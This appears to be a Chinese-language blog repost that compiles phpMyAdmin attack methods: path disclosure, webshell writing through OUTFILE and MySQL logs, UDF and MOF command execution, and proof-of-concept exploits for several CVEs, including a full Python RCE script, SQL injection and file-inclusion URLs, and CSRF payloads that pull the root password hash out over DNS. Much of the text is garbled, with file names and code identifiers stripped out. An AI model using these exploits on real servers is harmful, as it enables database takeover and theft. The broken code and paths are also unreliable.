PhpMyAdmin漏洞利用汇总

PhpMyAdmin漏洞利用汇总

2023年7月24日发(作者:)

PhpMyAdmin漏洞利⽤汇总PhpMyAdmin漏洞利⽤汇总phpMyAdmin 是⼀个以PHP为基础,以Web-Base⽅式架构在⽹站主机上的MySQL的数据库管理⼯具,让管理者可⽤Web接⼝管理MySQL数据库。借由此Web接⼝可以成为⼀个简易⽅式输⼊繁杂SQL语法的较佳途径,尤其要处理⼤量资料的汇⼊及汇出更为⽅便。其中⼀个更⼤的优势在于由于phpMyAdmin跟其他PHP程式⼀样在⽹页服务器上执⾏,但是您可以在任何地⽅使⽤这些程式产⽣的HTML页⾯,也就是于远端管理MySQL数据库,⽅便的建⽴、修改、删除数据库及资料表。也可借由phpMyAdmin建⽴常⽤的php语法,⽅便编写⽹页时所需要的sql语法正确性。0x01 信息收集1.1 版本信息获取获取phpmyadmin版本信息,在⽹址根路径后⾯添加(注意区分⼤⼩写)就可以看到phpmyadmin的相关版本信息了,这个⽅法也是通杀的,只要管理员不把他们删掉。也可以直接访问:/doc/html/⽬录1.2 绝对路径获取(1) phpinfo() 页⾯:最理想的情况,直接显⽰web路径(2) web报错信息:可以通过各种fuzz尝试让⽬标报错,也有可能爆出绝对路径(3) ⼀些集成的web框架:如果⽬标站点是利⽤phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径show variables like '%datadir%';再猜解web路径的⽅法,⼀般容易成功。(4) 利⽤select load_file() 读取⽂件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的⽂件。Trick:如何判断⽬录是否存在,往往确定了/var/www/html⽬录,但是还有⼀层⽬录不能 确定,可以采⽤⽬标域名+常⽤的⽹站根⽬录的⽅式进⾏爆破,当使⽤select 'test' into outfile '/var/www/$fuzz$/';时⽬录fuzz不存在将会报错Can't create/write to file '/var/www/html/' (Errcode: 2);如果存在但是⽬录写不进去将返回(Errcode: 13);如果使⽤的load data infile "/etc/passwd" into table test;该语句执⾏后将也会显⽰⽂件是否存在,有权限能否写等信息。(5)其他⽅法1.查看数据库表内容获取 有⼀些cms会保存⽹站配置⽂件 或者路径2.进⼊后台3.百度出错信息 zoomeye shadon 搜索error warning4. @@datadir参数看mysql路径 反猜绝对路径0x02 PhpMyAdmin利⽤2.1 写⼊⽂件GetShell可以通过写shell进⾏提权,⽽我们需要满⾜以下条件:1.数据库root权限2.知道⽹站的物理路径3.数据库有写权限MySQL 5.0+的版本会,然后在服务运⾏的情况下修改变量变量也可以移动⽂件位置的,但是必须要对⽣成⽇志的⽬录具有可更改的写权限。(Linux环境下可能会⽐较苛刻,因为站点⽬录是⼀个⽤户,MySQL是另外⼀个⽤户,权限管控较⼤严格,主要取决于权限配置是否得当)2.1.1 直接写⼊⽂件getshell直接⽤into outfile 直接在⽹站⽬录下写⼊webshell,但是该⽅法需要前提条件是:(1) 当前的数据库⽤户有写权限(2) 知道web绝对路径(3) web路径能写如何判断当前数据库⽤户有写权限?执⾏:show variables like '%secure%';如果secure_file_priv如果⾮空,则只能在对应的⽬录下读⽂件,如果是空即可在其他⽬录写。Linux下默认/tmp⽬录可写。secure-file-priv特性secure-file-priv参数是⽤来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定⽬录的。当secure_file_priv的值为null ,表⽰限制mysql 不允许导⼊|导出当secure_file_priv的值为/tmp/ ,表⽰限制mysql 的导⼊|导出只能发⽣在/tmp/⽬录下当secure_file_priv的值没有具体值时,表⽰不对mysql 的导⼊|导出做限制可以在mysql-ini⽂件中设置其属性编写⼀句phpinfo⽂件,select "" INTO OUTFILE "d:"这⾥必须注意要双反斜线,否则会转义,2.1.2 通过写⼊⽇志⽂件getshell读写权限+web绝对路径,修改⽇志⽂件为webshell具体利⽤⽅法如下(1) 开启⽇志记录:set global general_log = "ON";(2) 查看当前的⽇志⽬录:show variables like 'general%';(3) 指定⽇志⽂件set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/";(4)) 写⼊执⾏代码:select "";2.1.3 通过慢查询写⼊webshell具体⽅法如下:(1) 查看当前慢查询⽇志⽬录:show variables like '%slow%';(2) 重新设置路径:set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/';(3) 开启慢查询⽇志:set GLOBAL slow_query_log=on;(4)) 执⾏写⼊⽇志:select '' from where sleep(10);2.2 User defined funct ion(UDF):适⽤于Windows和Linux环境,利⽤需要的条件:具有写权限+插件⽬录可写(或者可以更改指定的插件⽬录)。具体情况要看⽬标mysql的版本:(1) Mysql version > 5.1 时,dll或者so必须位于mysql安装⽬录libplugin下,当对该⽬录具有写权限时可以利⽤,查看:show variables like %plugin%;// 查看插件⽬录(2) 5.0 <= Mysql version <5.1时,需要导出⾄⽬标服务器的系统⽬录,如C://Windows/System32(3) Mysql version < 5.0 时,⽬录可以⾃定义具体利⽤如下:a 根据⽬标mysql版本写⼊特定⽬录的so或者dll,可以参考sqlmap⾥⾯的select 'It is dll' into dumpfile 'C:Program FilesMySQLMySQL Server 5.1l ibpluginlib_mysqludf_';b 创建对应的function:create function sys_eval returns string soname "lib_mysqludf_";c 执⾏命令:select * from where name = 'sys_eval'; #查看创建的sys_eval函数select sys_eval('whoami'); #使⽤系统命令2.3 MOF提权:通过mysql将⽂件写⼊⼀个MOF⽂件替换掉原有的MOF⽂件,然后系统每隔五秒就会执⾏⼀次上传的MOF。⼀般适⽤于Windows <= 2003,并且C:WindowsSystem32mof⽬录具有写权限(⼀般是没有权限写)。可以使⽤MSF直接利⽤:use exploit/windows/mysql/mysql_mofset rhost 192.168.1.5set rport 3306set password rootset username rootexploit0x03 PhpMyAdmin漏洞利⽤3.1 WooYun-2016-199433:任意⽂件读取漏洞影响范围:phpMyAdmin version 2.x版本POC如下:POST /scripts/ HTTP/1.1

Host: your-ip:8080Accept-Encoding: gzip, deflate Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)Connection: closeContent-Type: application/x-www-form-urlencoded

Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}3.2 CVE-2014 -8959:本地⽂件包含影响范围:phpMyAdmin version 4.0.1~4.2.12PHP version < 5.3.4POC如下:/gis_data_?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../%00 # 注意改下token值在实际利⽤中可以利⽤写⼊⽂件到/tmp⽬录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到⽂件的附加内容看到。3.3 CVE-2016-5734 :后台命令执⾏RCE影响范围:phpMyAdmin version 4.0.10.16 之前的4.0.x版本 4.4.15.7 之前的 4.4.x版本 4.6.3之前的 4.6.x版本PHP version 4.3.0~5.4.6Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了POC如下:#!/usr/bin/env python""": PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploitDetails: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP : CVE-2016-5734Author: /iamsecurityrun: ./ -u root --pwd="" localhost/pma -c "system('ls -lua');""""import requestsimport argparseimport sys__author__ = "@iamsecurity"if __name__ == '__main__': parser = ntParser() _argument("url", type=str, help="URL with path to PMA") _argument("-c", "--cmd", type=str, help="PHP command(s) to eval()") _argument("-u", "--user", required=True, type=str, help="Valid PMA user") _argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user") _argument("-d", "--dbs", type=str, help="Existing database at a server") _argument("-T", "--table", type=str, help="Custom table name for exploit.") arguments = _args() url_to_pma = uname = upass = if : db = else: db = "test" token = False custom_table = False if : custom_table = True table = else: table = "prgpwn" if : if : payload = else: payload = "system('uname -a');" size = 32 s = n() # you can manually add proxy support it's very simple ;) # s = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"} = False sql = '''CREATE TABLE `{0}` ( `first` varchar(10) CHARACTER SET utf8 NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500')); '''.format(table) # get_token resp = (url_to_pma + "/?lang=en", dict( pma_username=uname, pma_password=upass )) if _code is 200: token_place = ("token=") + 6 token = [token_place:token_place + 32] if token is False: print("Cannot get valid authorization token.") (1) if custom_table is False: data = { "is_js_confirmed": "0", "db": db, "token": token, "pos": "0", "sql_query": sql, "sql_delimiter": ";", "show_query": "0", "fk_checks": "0", "SQL": "Go", "ajax_request": "true", "ajax_page_request": "true", } resp = (url_to_pma + "/", data, cookies=_from_cookiejar(s)) if _code == 200: if "success" in (): if ()["success"] is False: first = ()["error"][()["error"].find("")+6:] error = first[:("")] if "already exists" in error: print(error) else: print("ERROR: " + error) (1) # build exploit exploit = { "db": db, "table": table, "token": token, "goto": "", "find": "0/e0", "replaceWith": payload, "columnIndex": "0", "useRegex": "on", "submit": "Go", "ajax_request": "true" } resp = ( url_to_pma + "/tbl_find_", exploit, cookies=_from_cookiejar(s) ) if _code == 200: result = ()["message"][()["message"].find("")+8:] if len(result): print("result: " + result) (0) print( "Exploit failed!n" "Exploit failed!n" "Try to manually set exploit parameters like --table, --database and --token.n" "Remember that servers with PHP version greater than 5.4.6" " is not exploitable, because of warning about null byte in regexp" ) (1)利⽤如下: -u root --pwd="" localhost/pma -c "system('ls -lua');"3.4 CVE-2018-12613:后台⽂件包含影响范围:phpMyAdmin version 4.8.0和4.8.1利⽤如下:(1)执⾏SQL语句,将PHP代码写⼊Session⽂件中:select ''(2)包含session⽂件:10.1.1.10/?target=db_%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # *** 为phpMyAdmin的COOKIE值3.5 CVE-2018-19968:任意⽂件包含/RCE影响范围:phpMyAdmin version 4.8.0~4.8.3利⽤如下:(1)创建数据库,并将PHP代码写⼊Session⽂件中CREATE DATABASE foo;CREATE TABLE (baz VARCHAR(100) PRIMARY KEY );INSERT INTO SELECT '';(2)⽣成foo数据库的phpMyAdmin的配置表,访问:10.1.1.10/chk_?fixall_pmadb=1&db=foo(3)篡改数据插⼊pma column_info中:INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值这⾥要注意不⽤系统的session保存位置不同,具体系统可以在phpMyAdmin登录后⾸页看到MacOS:/var/tmpLinux:/var/lib/php/sessionsphpStudy:/phpstudy/PHPTutorial/tmp/tmp(4)访问包含Session⽂件的地址:10.1.1.10/tbl_?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=13.6 CVE-2020-0554:后台SQL注⼊影响范围:phpMyAdmin version phpMyAdmin 4< 4.9.4 phpMyAdmin 5< 5.0.1 前提:已知⼀个⽤户名密码简单总结流程:页⾯位置server_;设置变量ajax_requests为true;设置变量validate_username 为真值;设置变量username 为我们拼接的注⼊语句。构造payload:192.168.209.139:8001/server_?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=(token和其余参数会在访问页⾯的时候⾃动提供)我们查看后端收到的数据,可以看到SQL已经成功拼接。执⾏完毕后程序只会告知SQL是否执⾏成功,失败会报错,因此此处我们可以利⽤报错注⼊。构造payload:192.168.209.139:8001/server_?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f结果如下,可以看到已经成功执⾏了我们注⼊的指令。3.7 CVE-2019-12922 跨站请求伪造影响范围:phpMyAdmin version <= 4.9.0.1利⽤如下:在登录状态下,添加⼀个服务器192.168.123.65/phpmyadmin/setup/点击删除时,通过⼯具抓包参数id对应的是第⼏个服务器。构造恶意链接。当然实战中的链接怎么吸引⼈让⽬标去点击还得靠⾃⼰去构造。页⾯显⽰404,但img的src会去请求⼀次。此时创建了两个服务器点击我们构造的恶意链接时,显⽰刚才构造的页⾯结果此时再去查看服务器已经被删除,攻击成功。3.8 CVE-2 跨站请求伪造影响范围:phpMyAdmin version Phpmyadmin:4.7.6

Phpmyadmin:4.7.0:Beta1

Phpmyadmin:4.7.0:Rc1

Phpmyadmin:4.7.5

Phpmyadmin:4.7.4

POC如下:# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery# Date: 2018-08-28# Exploit Author: VulnSpy# Vendor Homepage: /# Software Link: /downloads/# Version: Versions 4.7.x (prior to 4.7.7)# Tested on: php7 mysql5# CVE: CVE-2# Exploit CSRF - Modifying the password of current user

Hello World

# Exploit CSRF - Arbitrary File Write

Hello World

' into outfile '/var/www/html/';"style="display:none;" /># Exploit CSRF - Data Retrieval over DNSSELECT LOAD_FILE(CONCAT('',(SELECT password FROM WHEREuser='root' LIMIT 1),'.t'));# Exploit CSRF - Empty All Rows From All Tables

Hello World

/?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+0x04 特殊版本GetShell4.1 CVE-2013-3238 影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 利⽤模块:exploit/multi/http/phpmyadminpregreplace4.2 CVE-2012-5159 影响版本:phpMyAdmin v3.5.2.2 利⽤模块:exploit/multi/http/phpmyadmin3522_backdoor4.3 CVE-2009-1151 PhpMyAdmin配置⽂件/config/存在命令执⾏ 影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1 利⽤模块:exploit/unix/webapp/phpmyadmin_config4.4 弱⼝令&万能密码 弱⼝令:版本phpmyadmin2.11.9.2, 直接root⽤户登陆,⽆需密码 万能密码:版本2.11.3 / 2.11.4,⽤户名'localhost'@'@"则登录成功0x05 参考链接Processing math: 100%

发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1690193034a312385.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信